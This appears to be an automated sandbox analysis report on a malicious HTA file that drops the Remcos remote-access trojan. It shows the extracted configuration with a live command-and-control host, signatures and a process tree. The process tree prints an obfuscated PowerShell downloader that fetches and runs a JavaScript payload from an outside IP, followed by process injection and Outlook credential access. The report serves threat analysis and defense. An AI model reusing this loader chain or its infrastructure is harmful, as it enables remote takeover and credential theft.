Overview

overview

10

Static

static

1

jjm.hta

windows10-2004-x64

10

jjm.hta

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    138s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    10/11/2026, 12:19

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    jjm.hta
  • Size 15KB
  • Sample261110-pg6dmatscx
  • SHA256 8b35dd255210016f874383033da81703f62ae65d24fa592cbb91a9325e2b803b
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
monday hostcollectiondefense_evasiondiscoveryexecutionremcosprivilege_escalationrat

Malware Config

Extracted

Family

  • remcos

Version

  • 6.0.0 Pro

Botnet

  • MONDAY Host

C2

  • pleasefinalattachedfinaldocsoriginalseto.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-85KJQK

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

    ratremcos
  • Detected Nirsoft tools 3 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 1 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 1 IoCs

    Password recovery tool for various web browsers

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Accesses Microsoft Outlook accounts 1 TTPs 10 IoCs
    collection
  • Accesses Microsoft Outlook profiles 1 TTPs 30 IoCs
    collection
  • ConfuserEx .NET packer 1 IoCs

    Detects ConfuserEx .NET packer.

  • Suspicious use of SetThreadContext 31 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
    execution
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Program crash 10 IoCs
  • Reads the TCP/IP host and domain name from the registry 1 TTPs 1 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

    discovery
  • System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: MapViewOfSection 1 TTPs 42 IoCs
    defense_evasionprivilege_escalation
  • Suspicious use of AdjustPrivilegeToken 11 IoCs
  • Suspicious use of WriteProcessMemory 55 IoCs
  • outlook_office_path 1 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\jjm.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:960
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/C pOWeRSHeLl.Exe -EX BYpaSS -nOP -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBnAEUAdAAgAAkAIAAJACAACQAgAAkAHSBoAHQAdABwADoALwAvADEAOQAyAC4AMgA1ADUALgAxADkANQAuADEANQAzAC8AOQA3AC8AdQBwAGQAYQB0AGUAZABzAC4AagBzAB0gIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AbwBVAFQAZgBJAEwARQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABFAE4AVgA6AEEAcABQAGQAYQB0AEEAXAB1AHAAZABhAHQAZQBkAGkAbgBnAHUAcwAuAGoAcwAdICAAIAAgACAAIAAgAAkACQAJACAAIAAgAAkACQAgAAkAIAAJACAACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAdICQARQBOAFYAOgBBAHAAUABEAGEAVABBAFwAdQBwAGQAYQB0AGUAZABpAG4AZwB1AHMALgBqAHMAHSA= "
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4456
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        pOWeRSHeLl.Exe -EX BYpaSS -nOP -w 1 -eC IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBnAEUAdAAgAAkAIAAJACAACQAgAAkAHSBoAHQAdABwADoALwAvADEAOQAyAC4AMgA1ADUALgAxADkANQAuADEANQAzAC8AOQA3AC8AdQBwAGQAYQB0AGUAZABzAC4AagBzAB0gIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC0AbwBVAFQAZgBJAEwARQAgAAkACQAJAAkACQAJAAkACQAJAAkACQAJAB0gJABFAE4AVgA6AEEAcABQAGQAYQB0AEEAXAB1AHAAZABhAHQAZQBkAGkAbgBnAHUAcwAuAGoAcwAdICAAIAAgACAAIAAgAAkACQAJACAAIAAgAAkACQAgAAkAIAAJACAACQAJADsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAmACAAIAAdICQARQBOAFYAOgBBAHAAUABEAGEAVABBAFwAdQBwAGQAYQB0AGUAZABpAG4AZwB1AHMALgBqAHMAHSA= "
        3⤵
        • Badlisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4376
        • C:\Windows\SysWOW64\WScript.exe
          "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\updatedingus.js"
          4⤵
          • Badlisted process makes network request
          • Reads the TCP/IP host and domain name from the registry
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:4740
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -ep bypass -file "C:\Temp\09EPJXKN.ps1"
            5⤵
            • Suspicious use of SetThreadContext
            • Command and Scripting Interpreter: PowerShell
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1520
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
              6⤵
                PID:236
              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                6⤵
                  PID:240
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe"
                  6⤵
                  • Suspicious use of SetThreadContext
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: MapViewOfSection
                  • Suspicious use of WriteProcessMemory
                  PID:248
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\oyzxknhfsjcamh"
                    7⤵
                      PID:4892
                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\oyzxknhfsjcamh"
                      7⤵
                        PID:4576
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\oyzxknhfsjcamh"
                        7⤵
                        • System Location Discovery: System Language Discovery
                        • Suspicious behavior: EnumeratesProcesses
                        PID:2852
                        • C:\Windows\SysWOW64\WerFault.exe
                          C:\Windows\SysWOW64\WerFault.exe -u -p 2852 -s 232
                          8⤵
                          • Program crash
                          PID:952
                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\qsmplgahgrunovilbk"
                        7⤵
                          PID:2680
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\qsmplgahgrunovilbk"
                          7⤵
                          • Accesses Microsoft Outlook accounts
                          • Accesses Microsoft Outlook profiles
                          • System Location Discovery: System Language Discovery
                          PID:5552
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\bvrimylaczmsybeplvfwp"
                          7⤵
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2824
                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\vcnzixxmqw"
                          7⤵
                            PID:4764
                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\vcnzixxmqw"
                            7⤵
                              PID:2612
                            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                              C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\vcnzixxmqw"
                              7⤵
                                PID:3844
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\vcnzixxmqw"
                                7⤵
                                • System Location Discovery: System Language Discovery
                                • Suspicious behavior: EnumeratesProcesses
                                PID:4980
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -u -p 4980 -s 596
                                  8⤵
                                  • Program crash
                                  PID:1596
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\getkjpineeiqn"
                                7⤵
                                • Accesses Microsoft Outlook accounts
                                • Accesses Microsoft Outlook profiles
                                • System Location Discovery: System Language Discovery
                                PID:4484
                              • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\iyycjithsmadxwtl"
                                7⤵
                                  PID:4552
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\iyycjithsmadxwtl"
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:6088
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\cnuug"
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4156
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4156 -s 592
                                    8⤵
                                    • Program crash
                                    PID:5412
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\nhzmhzyu"
                                  7⤵
                                  • Accesses Microsoft Outlook accounts
                                  • Accesses Microsoft Outlook profiles
                                  • System Location Discovery: System Language Discovery
                                  PID:2052
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\xjefhriopzp"
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of AdjustPrivilegeToken
                                  PID:4880
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\syaweydzdvtzhlefiptrmbxmtaqcnik"
                                  7⤵
                                  • System Location Discovery: System Language Discovery
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4132
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4132 -s 584
                                    8⤵
                                    • Program crash
                                    PID:3684
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\usgheqnbrdlekrajragtxordchhlgtbzet"
                                  7⤵
                                  • Accesses Microsoft Outlook accounts
                                  • Accesses Microsoft Outlook profiles
                                  • System Location Discovery: System Language Discovery
                                  PID:5856
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                  C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\evlafj"
                                  7⤵
                                    PID:2108
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\evlafj"
                                    7⤵
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:1444
                                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                    C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\zchrbilgsizkggtbbxhfqupunz"
                                    7⤵
                                      PID:5132
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\zchrbilgsizkggtbbxhfqupunz"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:4600
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 4600 -s 584
                                        8⤵
                                        • Program crash
                                        PID:1780
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\jemkcavigqspimhfththahkdwfnpa"
                                      7⤵
                                      • Accesses Microsoft Outlook accounts
                                      • Accesses Microsoft Outlook profiles
                                      • System Location Discovery: System Language Discovery
                                      PID:2180
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\myscdsgbcykutsdickoadleufmwqtfua"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2440
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\rhteakloedgahhwsmhpvezdl"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:824
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 824 -s 600
                                        8⤵
                                        • Program crash
                                        PID:3176
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\bjgxbcwislyfroseescwpmxuzkct"
                                      7⤵
                                      • Accesses Microsoft Outlook accounts
                                      • Accesses Microsoft Outlook profiles
                                      • System Location Discovery: System Language Discovery
                                      PID:4556
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\delpcvhkftqkuugindoqsrslaruupsm"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:920
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\ytzhytbvtqudgvkoopc"
                                      7⤵
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5816
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -u -p 5816 -s 584
                                        8⤵
                                        • Program crash
                                        PID:1760
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                      C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\innzzmmppymiqbysxapksfq"
                                      7⤵
                                        PID:3508
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\innzzmmppymiqbysxapksfq"
                                        7⤵
                                        • Accesses Microsoft Outlook accounts
                                        • Accesses Microsoft Outlook profiles
                                        • System Location Discovery: System Language Discovery
                                        PID:3700
                                      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                        C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\tpskzewqdgevspuwpkkmvrllcp"
                                        7⤵
                                          PID:3180
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\tpskzewqdgevspuwpkkmvrllcp"
                                          7⤵
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:4936
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\neobwlrcqcjoeqz"
                                          7⤵
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:3356
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 3356 -s 584
                                            8⤵
                                            • Program crash
                                            PID:3016
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\pytuwdbvekbtpwngzz"
                                          7⤵
                                          • Accesses Microsoft Outlook accounts
                                          • Accesses Microsoft Outlook profiles
                                          • System Location Discovery: System Language Discovery
                                          PID:6124
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\aaymxompsttyrcjsikxah"
                                          7⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:5908
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\uhueuuyagp"
                                          7⤵
                                          • System Location Discovery: System Language Discovery
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:2980
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -u -p 2980 -s 584
                                            8⤵
                                            • Program crash
                                            PID:968
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\fjaxunjccxpen"
                                          7⤵
                                          • Accesses Microsoft Outlook accounts
                                          • Accesses Microsoft Outlook profiles
                                          • System Location Discovery: System Language Discovery
                                          PID:704
                                        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                          C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\pefhvfuwqfhjpyqg"
                                          7⤵
                                            PID:3064
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\pefhvfuwqfhjpyqg"
                                            7⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:4756
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\ktbzr"
                                            7⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            PID:3648
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -u -p 3648 -s 584
                                              8⤵
                                              • Program crash
                                              PID:3480
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\mngrswzj"
                                            7⤵
                                            • Accesses Microsoft Outlook accounts
                                            • Accesses Microsoft Outlook profiles
                                            • System Location Discovery: System Language Discovery
                                            • outlook_office_path
                                            PID:5780
                                          • C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe
                                            C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe /stext "C:\Users\Admin\AppData\Local\Temp\wplktpkcfsv"
                                            7⤵
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: EnumeratesProcesses
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:5316
                              • C:\Windows\SysWOW64\WerFault.exe
                                C:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2852 -ip 2852
                                1⤵
                                  PID:5680
                                • C:\Windows\SysWOW64\WerFault.exe
                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 548 -p 4980 -ip 4980
                                  1⤵
                                    PID:552
                                  • C:\Windows\SysWOW64\WerFault.exe
                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 584 -p 4156 -ip 4156
                                    1⤵
                                      PID:3292
                                    • C:\Windows\SysWOW64\WerFault.exe
                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 600 -p 4132 -ip 4132
                                      1⤵
                                        PID:4592
                                      • C:\Windows\SysWOW64\WerFault.exe
                                        C:\Windows\SysWOW64\WerFault.exe -pss -s 508 -p 4600 -ip 4600
                                        1⤵
                                          PID:2648
                                        • C:\Windows\SysWOW64\WerFault.exe
                                          C:\Windows\SysWOW64\WerFault.exe -pss -s 580 -p 824 -ip 824
                                          1⤵
                                            PID:1476
                                          • C:\Windows\SysWOW64\WerFault.exe
                                            C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 5816 -ip 5816
                                            1⤵
                                              PID:5056
                                            • C:\Windows\SysWOW64\WerFault.exe
                                              C:\Windows\SysWOW64\WerFault.exe -pss -s 596 -p 3356 -ip 3356
                                              1⤵
                                                PID:4216
                                              • C:\Windows\SysWOW64\WerFault.exe
                                                C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 2980 -ip 2980
                                                1⤵
                                                  PID:5760
                                                • C:\Windows\SysWOW64\WerFault.exe
                                                  C:\Windows\SysWOW64\WerFault.exe -pss -s 552 -p 3648 -ip 3648
                                                  1⤵
                                                    PID:2128

                                                  Network

                                                        MITRE ATT&CK Enterprise v16

                                                        Replay Monitor

                                                        Loading Replay Monitor...

                                                        Downloads

                                                        09EPJXKN.ps1
                                                        • Path C:\Temp\09EPJXKN.ps1
                                                        • Size 554KB
                                                        • SHA256 070ea14c8b9b4bc90b73e8df7fb8ded64c24f79c7e9de65fd60447dfdb861f1f
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        StartupProfileData-NonInteractive
                                                        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                                                        • Size 16KB
                                                        • SHA256 6c9749de64fa690d379e8f130d71b565a8e3fff14bd0ed7c9019de37b7c3dca1
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        __PSScriptPolicyTest_rkx4ogoe.kc3.psm1
                                                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rkx4ogoe.kc3.psm1
                                                        • Size 60B
                                                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        bhv47FC.tmp
                                                        • Path C:\Users\Admin\AppData\Local\Temp\bhv47FC.tmp
                                                        • Size 14.0MB
                                                        • SHA256 3d19e807d5a9a31a9c8788e1b258cdfec80fb21fcd35519b60977af0bb84ed38
                                                        • MD5 SHA1 SHA512 SSDEEP TLSH
                                                        Submit Download

                                                        updatedingus.js
                                                        • Path C:\Users\Admin\AppData\Roaming\updatedingus.js
                                                        • Size 3KB
                                                        • SHA256 16d40b1364e290fbce06254dcacf0cfa3566ef06496350066810496c08c01f48
                                                        • MD5 SHA1 SHA512 TLSH
                                                        Submit Download

                                                        memory/248-143-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-33-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-144-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-41-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-84-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-83-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-149-0x0000000010000000-0x0000000010019000-memory.dmp
                                                        Download

                                                        memory/248-40-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-39-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-148-0x0000000010000000-0x0000000010019000-memory.dmp
                                                        Download

                                                        memory/248-150-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-151-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-38-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-152-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-37-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-36-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

                                                        memory/248-34-0x0000000000400000-0x0000000000480000-memory.dmp
                                                        Download

